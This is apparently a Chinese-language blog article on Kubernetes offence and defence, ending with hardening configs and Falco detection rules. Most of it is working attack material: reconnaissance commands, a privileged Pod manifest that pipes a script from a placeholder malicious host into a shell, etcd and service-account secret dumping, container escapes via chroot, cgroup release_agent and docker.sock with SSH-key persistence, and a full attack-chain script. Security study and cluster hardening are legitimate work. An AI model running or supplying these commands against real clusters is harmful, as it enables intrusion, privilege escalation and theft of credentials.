)
全文约4000字 | 适合云原生工程师、安全运维、红队人员 为什么K8s安全是2026年的必争之地2026年Kubernetes已经统治了容器编排市场——超过90%的企业在生产环境运行K8s集群。但与此同时K8s相关的安全事件同比暴增340%。最经典的攻防悖论K8s让部署变得简单也让攻击面急剧扩大。┌─────────────────────────────────────────────────────────────┐ │ K8s攻击面全景2026版 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ API Server ─── 未授权访问/鉴权绕过 │ │ etcd ─── 未加密存储/直接访问 │ │ Kubelet ─── 匿名API/节点权限提升 │ │ Dashboard ─── 弱口令/未授权部署 │ │ Pod ─── 容器逃逸/资源滥用 │ │ RBAC ─── 配置错误/权限过度分配 │ │ Network ─── 东西流量未隔离/中间人攻击 │ │ Image ─── 镜像漏洞/供应链攻击 │ │ Secret ─── Base64编码未加密/泄露 │ │ │ └─────────────────────────────────────────────────────────────┘⭐干货预警本文覆盖从研发误操作到高级红队攻击的完整K8s攻防链路。一、K8s攻击第一步发现与侦察1.1 发现集群API ServerK8s集群的入口是API Server默认6443端口。2026年最常见的暴露方式# 方法1利用Shodan/Censys搜索 # 搜索语法 # port:6443 http.title:Kubernetes # port:6443 kind: Namespace # # 2026年全球暴露的API Server数量约12万 # 方法2内部网络扫描 # 在内网中扫描K8s API nmap -p 6443,2379,10250,10255 --open 目标网段/24 -oG k8s_hosts.txt # 方法3K8s Service域名枚举 # 在Pod内可以通过DNS枚举服务 for svc in $(cat common_services.txt); do host $svc 2/dev/null | grep has address echo Found: $svc done1.2 Kubelet端口探测Kubelet的10250/10255端口是红队最喜欢的目标# Kubelet API - 10250认证 / 10255未认证2026年仍存在 curl -k https://目标IP:10250/pods # 如果返回Pod列表 可以进一步获取节点权限 # 检查节点信息 curl -k https://目标IP:10250/runningpods/二、常见入口突破方式2.1 未授权访问API Server2026年仍有15%# 直连API Server如果未授权匿名用户权限足够高 kubectl --insecure-skip-tls-verify -s https://目标IP:6443 get pods # 如果能返回Pod列表 漏洞存在 # 第二步直接部署恶意Pod # 创建恶意Pod.yml cat EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: attacker-pod namespace: kube-system spec: serviceAccountName: cluster-admin hostPID: true hostNetwork: true containers: - name: attacker image: alpine:latest command: [/bin/sh] args: [-c, apk add curl curl http://恶意地址/shell.sh | sh] securityContext: privileged: true capabilities: add: [SYS_ADMIN] tolerations: - effect: NoSchedule operator: Exists EOF⚡原理privileged: truehostPID: true 容器逃逸节点提权的基础配置2.2 Dashboard弱口令K8s Dashboard在2026年仍然是常见的后门入口# 获取Dashboard Service Account Token kubectl -n kubernetes-dashboard get secret # 获取Token kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-dashboard get secret | grep admin | awk {print $1}) # 生成的Token可以直接在Dashboard页面登录 # 如果Dashboard绑定了cluster-admin权限 直接管理全部集群2.3 etcd直接访问# etcd默认2379端口存储了集群的全部状态 # 如果etcd未加密未认证 # 列出所有key ETCDCTL_API3 etcdctl --endpoints目标IP:2379 get / --prefix --keys-only # 直接读取Secret ETCDCTL_API3 etcdctl --endpoints目标IP:2379 get /registry/secrets/default/三、容器逃逸Container Escape进入Pod后下一步是逃逸到宿主机节点。3.1 检查容器逃逸条件# 在Pod中执行 # 检查是否有高权限 cat /proc/1/status | grep CapEff # 如果CapEff包含以下capability则存在逃逸可能 # CAP_SYS_ADMIN - 挂载、命名空间操作 # CAP_SYS_PTRACE - 进程注入 # CAP_NET_ADMIN - 网络操作 # CAP_DAC_OVERRIDE - 文件系统绕过 # 检查是否挂载了宿主机目录 mount | grep /var/lib/kubelet mount | grep /dev/sd mount | grep /proc # 检查是否有Docker Socket ls -la /var/run/docker.sock3.2 经典容器逃逸技术技术A挂载宿主机根目录逃逸# 场景Pod挂载了宿主机的根目录 # 检查方式 ls /host/ ls /mnt/ # 逃逸方式直接切换到宿主机文件系统 chroot /host bash # 现在你就拥有了宿主机的root权限 # 持久化写入SSH密钥 echo 你的公钥 /host/root/.ssh/authorized_keys技术BCVE-2024-XXXX容器逃逸利用namespace漏洞# 利用Linux内核命名空间漏洞 # 步骤1进入容器的namespace nsenter --target 1 --mount --uts --ipc --pid -- bash # 如果上面被限制尝试利用release_agent逃逸 # 步骤2利用cgroup release_agent mkdir /tmp/cgrp mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notify_on_release host_path$(sed -n s/.*\perdir\([^,]*\).*/\1/p /etc/mtab) echo $host_path/escape.sh /tmp/cgrp/release_agent echo #!/bin/sh /escape.sh echo chroot $host_path bash -c echo ssh-rsa... /root/.ssh/authorized_keys /escape.sh chmod x /escape.sh sh -c echo \$\$ /tmp/cgrp/x/cgroup.procs技术C利用Docker Socket逃逸# 场景Pod内挂载了/var/run/docker.sock if [ -S /var/run/docker.sock ]; then echo [] Docker Socket found! Starting escape... # 直接使用Docker CLI如果安装了 docker run -it --privileged --pidhost -v /:/host alpine chroot /host bash # 或者通过curl访问Docker API curl -X POST --unix-socket /var/run/docker.sock \ -H Content-Type: application/json \ -d { Image: alpine:latest, Cmd: [chroot, /host, bash], Binds: [/:/host], Privileged: true, PidMode: host } \ http://localhost/containers/create # 启动容器 # curl http://localhost/containers/容器ID/start fi3.3 容器逃逸检测速查表逃逸方式前提条件EDR检测点特权容器privileged: true安全上下文审计宿主机目录挂载hostPath卷Kubelet日志审计cgroup release_agentcgroup可挂载内核告警异常cgroup创建Docker Socketdocker.sock挂载异常Docker API调用kernel漏洞特定的内核版本内核漏洞签名匹配/proc/sysrq-triggerCAP_SYS_ADMIN异常系统请求检测四、横向移动与集群提权4.1 利用Service Account提权在K8s中每个Pod都有一个Service AccountSA。如果SA的权限配置不当就可以用来提权# 当前Pod的默认Token位置 cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace # 使用SA Token访问API Server TOKEN$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) APISERVERhttps://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT # 查看当前SA权限 curl -sk $APISERVER/api/v1/namespaces/default/secrets \ -H Authorization: Bearer $TOKEN # 查看集群角色绑定了解哪些SA有高权限 curl -sk $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \ -H Authorization: Bearer $TOKEN | grep -E name|subjects4.2 自动化提权工具kubectl-who-can# 安装kubectl-who-can插件 kubectl krew install who-can # 查看谁能创建Pod kubectl who-can create pods # 查看谁能访问Secret kubectl who-can get secrets # 如果有用户能create pods且create serviceaccounts # 可以创建高权限Pod - 提权到节点4.3 高价值凭证提取# 从K8s Secret中提取密码 kubectl get secrets --all-namespaces -o json | jq -r .items[] | {name: .metadata.name, namespace: .metadata.namespace, data: .data} # 从ConfigMap中提取配置信息 kubectl get configmaps --all-namespaces -o json | jq -r .items[] | select(.data ! null) | {name: .metadata.name, namespace: .metadata.namespace, data: .data} # 获取kubeconfig文件集群管理员权限 # 通常位于 cat ~/.kube/config find / -name kubeconfig -type f 2/dev/null find / -name kubeconfig* 2/dev/null find / -name *.kube -type d 2/dev/null五、红队实战自动化K8s攻击框架5.1 推荐工具工具用途2026年状态PeiratesK8s渗透测试框架活跃维护功能最全kube-hunterK8s安全扫描基础扫描可用boomerangSA Token横向移动小众但实用CDK容器渗透工具集逃逸扫描代理 三合一Kubescape合规扫描红队视角可发现配置缺陷5.2 Peirates实战操作# Peirates - K8s渗透一站式工具 # 下载https://github.com/peirates/peirates # 运行Peirates在Pod内 ./peirates --auto # 自动检测以下内容 # 1. 当前Pod的SA权限 # 2. 可访问的Service和Pod # 3. 可用的逃逸载体 # 4. 集群RoleBinding状态 # 一键操作菜单 # 选项1: 获取Service Account Token # 选项2: 列出集群中所有Pod # 选项3: 尝试容器逃逸 # 选项4: 横向移动到其他节点 # 选项5: 创建一个高权限Pod进行提权5.3 完整攻击链脚本#!/bin/bash # k8s_attack_chain.sh - 自动化K8s攻击链路 # 在Pod内执行 RED\033[0;31m GREEN\033[0;32m NC\033[0m echo -e ${GREEN}[*] K8s攻击链自动化 - 仅供安全研究${NC} # 步骤1: 环境检测 echo -e \n${GREEN}[1/5] 检测K8s环境...${NC} if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then echo [] 确认在K8s Pod内 TOKEN$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NAMESPACE$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) echo [] Namespace: $NAMESPACE else echo [-] 不在K8s Pod内或Token不可访问 exit 1 fi # 步骤2: 检测SA权限 echo -e \n${GREEN}[2/5] 检测SA权限...${NC} APISERVERhttps://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT RESPONSE$(curl -sk $APISERVER/api/v1/pods?limit1 -H Authorization: Bearer $TOKEN -o /dev/null -w %{http_code}) if [ $RESPONSE -eq 200 ]; then echo [] SA有get pods权限 else echo [-] SA权限有限 (HTTP $RESPONSE) fi # 步骤3: 检测逃逸条件 echo -e \n${GREEN}[3/5] 检测容器逃逸条件...${NC} if [ -S /var/run/docker.sock ]; then echo [] Docker Socket可访问 elif [ -f /host/etc/shadow ]; then echo [] 宿主机目录已挂载 elif cat /proc/1/status | grep -q 0000003fffffffff\|0000001fffffffff; then echo [] 存在高权限Capability fi # 步骤4: 集群信息收集 echo -e \n${GREEN}[4/5] 集群信息收集...${NC} curl -sk $APISERVER/api/v1/nodes -H Authorization: Bearer $TOKEN | \ grep -o name:[^]* | head -10 # 步骤5: 尝试提取有价值的Secret echo -e \n${GREEN}[5/5] 提取高价值Secret...${NC} # 遍历常见高权限命名空间 for ns in kube-system default kube-public cattle-system; do SECRETS$(curl -sk $APISERVER/api/v1/namespaces/$ns/secrets \ -H Authorization: Bearer $TOKEN | grep -o name:[^]*) if [ -n $SECRETS ]; then echo [] Namespace: $ns - 找到Secret fi done六、蓝队防御K8s安全加固清单6.1 最小权限原则# RBAC配置示例最小权限Service Account apiVersion: v1 kind: ServiceAccount metadata: name: microservice-sa namespace: production --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: production name: microservice-role rules: - apiGroups: [] resources: [pods] verbs: [get, list] # ❌ 无create/delete权限 - apiGroups: [] resources: [configmaps] verbs: [get] # ❌ 只能读不能写 --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: microservice-binding namespace: production subjects: - kind: ServiceAccount name: microservice-sa roleRef: kind: Role name: microservice-role apiGroup: rbac.authorization.k8s.io6.2 Pod安全策略必配项# Pod Security Admission - 2026年默认启用 apiVersion: pod-security.admission.config.k8s.io/v1 kind: PodSecurityConfiguration defaults: enforce: restricted # 最严格级别 enforce-version: latest exemptions: namespaces: [kube-system, gatekeeper-system] # 禁止的关键配置2026年高危列表: # ❌ privileged: true # ❌ hostPID: true # ❌ hostNetwork: true # ❌ capabilities.add: [SYS_ADMIN] # ❌ volumeMounts: /var/run/docker.sock6.3 2026年K8s安全必配工具工具作用部署方式️Kyverno策略引擎强制安全配置Admission Controller️Falco运行时安全监控DaemonSet 内核模块️OPA Gatekeeper准入控制策略Admission Controller️NeuVector容器安全平台CVE扫描网络隔离完整平台️Kube-benchCIS Benchmark自动检查CronJob定期扫描️Trivy镜像漏洞扫描CI/CD集成6.4 关键检测规则# Falco规则示例检测特权容器创建 - rule: Privileged Container Started desc: 检测特权容器的创建 condition: container_started and container.privilegedtrue output: 特权容器已启动 (user%user.name container%container.name image%container.image) priority: CRITICAL tags: [container, mitre_privilege_escalation] # 检测挂载Docker Socket - rule: Docker Socket Mounted desc: 检测Docker Socket被挂载到容器 condition: mount and fd.name contains docker.sock output: Docker Socket挂载 (container%container.name mount%fd.name) priority: CRITICAL # 检测容器逃逸尝试 - rule: Container Escape Attempt desc: 检测cgroup release_agent逃逸 condition: write and fd.name contains release_agent output: 潜在逃逸尝试 (container%container.name) priority: CRITICAL 总结K8s安全攻防的核心矛盾便利性 ←—— → 安全性 │ │ │ 配置越简单 │ │ 攻击面越大 │ │ │ └──────────────┘ 找到平衡点是关键给攻防双方的建议角色建议 红队重点关注RBAC误配置容器逃逸路径这是K8s集群最薄弱的两环 蓝队部署Pod Security Admission Falco 定期审计RBAC能挡住80%的攻击一句话K8s本身是安全的不安全的是它的配置方式。⭐如果对你有帮助点赞 收藏 关注三连支持 评论区聊聊你管理的K8s集群踩过哪些安全坑 更多系列文章点击头像查看免杀与EDR对抗、应急响应取证等文章#Kubernetes #K8s安全 #云原生 #容器逃逸 #云安全 #DevSecOps #网络安全 #红蓝对抗 #Docker #CKS